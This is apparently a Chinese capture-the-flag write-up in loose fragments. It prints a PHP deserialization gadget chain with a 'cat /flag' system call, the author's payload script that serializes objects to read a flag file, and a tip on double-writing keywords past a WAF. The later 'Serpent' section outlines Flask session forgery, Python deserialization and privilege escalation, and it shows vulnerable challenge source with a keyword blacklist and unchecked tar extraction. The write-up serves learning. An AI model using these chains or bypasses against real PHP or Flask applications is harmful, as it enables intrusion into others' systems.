public function __get($name) { return $this->$rce2=$this->exp[$rce2]; } public function __toString() { call_user_func('system', "cat /flag"); } }
class Yang { public function __call($name, $ary) { if ($this->key === true || $this->finish1->name) { if ($this->finish->finish) { call_user_func($this->now[$name], $ary[0]); } } } public function ycb() { $this->now = 0; return $this->finish->finish; } public function __wakeup() { $this->key = True; } } class Cheng { private $finish; public $name; public function __get($value) {
return $this->$value = $this->name[$value]; } } class Bei { public function __destruct() { if ($this->CTF->ycb()) { $this->fine->YCB1($this->rce, $this->rce1); } } public function __wakeup() { $this->key = false; } }
<?php highlight_file(__FILE__); class Pro{ private $exp; private $rce2;}
class Yang{ }
class Cheng { private $finish; public $name;
} class Bei {
} $a = new Bei(); $a->rce = '/tmp/catcatf1ag.txt'; $a->rce1='/tmp/catcatf1ag.txt'; $a->CTF = new Yang(); $a->CTF->finish->finish =1; $a->fine = new Yang(); $a->fine->finish1->name=1; $a->fine->finish->finish=1; $a->fine->now=["YCB1"=>"highlight_file"]; echo urlencode(serialize($a)); ?>
学到了新trick 这里也可以不用文件包含函数 直接双写绕过waf都可以
Serpent
flask伪造+python反序列化+提权
没怎么仔细好好学过python反序列化 在这里寄了
获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
@app.route('/verification') def verification(): try: attribute = session.get('Attribute') if not isinstance(attribute, dict): raise Exception except Exception: return 'Hacker!!!' if attribute.get('name') == 'admin': if attribute.get('admin') == 1: return secret else: return "Don't play tricks on me" else: return "You are a perfect stranger to me"
if __name__ == '__main__': app.run('0.0.0.0', port=80)
import tarfile from flask import Flask, render_template, request, redirect from hashlib import md5 import yaml import os import re
app = Flask(__name__)
def waf(s): #设置waf flag = True blacklist = ['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply'] for no in blacklist: if no.lower() in str(s).lower(): flag= False print(no) break return flag def extractFile(filepath, type):
extractdir = filepath.split('.')[0] #获取上传文件的文件名不包括后缀 if not os.path.exists(extractdir): os.makedirs(extractdir)
if type == 'tar': tf = tarfile.TarFile(filepath) #创建了一个 tarfile.TarFile 对象，用于操作tar压缩文件 tf.extractall(extractdir) #将tar文件中的所有内容解压到指定的目录extractdir中 return tf.getnames() #获取解压后的文件名列表并且返回
@app.route('/', methods=['GET']) def main(): fn = 'uploads/' + md5().hexdigest() #创建文件上传路径初始化 if not os.path.exists(fn): os.makedirs(fn) return render_template('index.html')
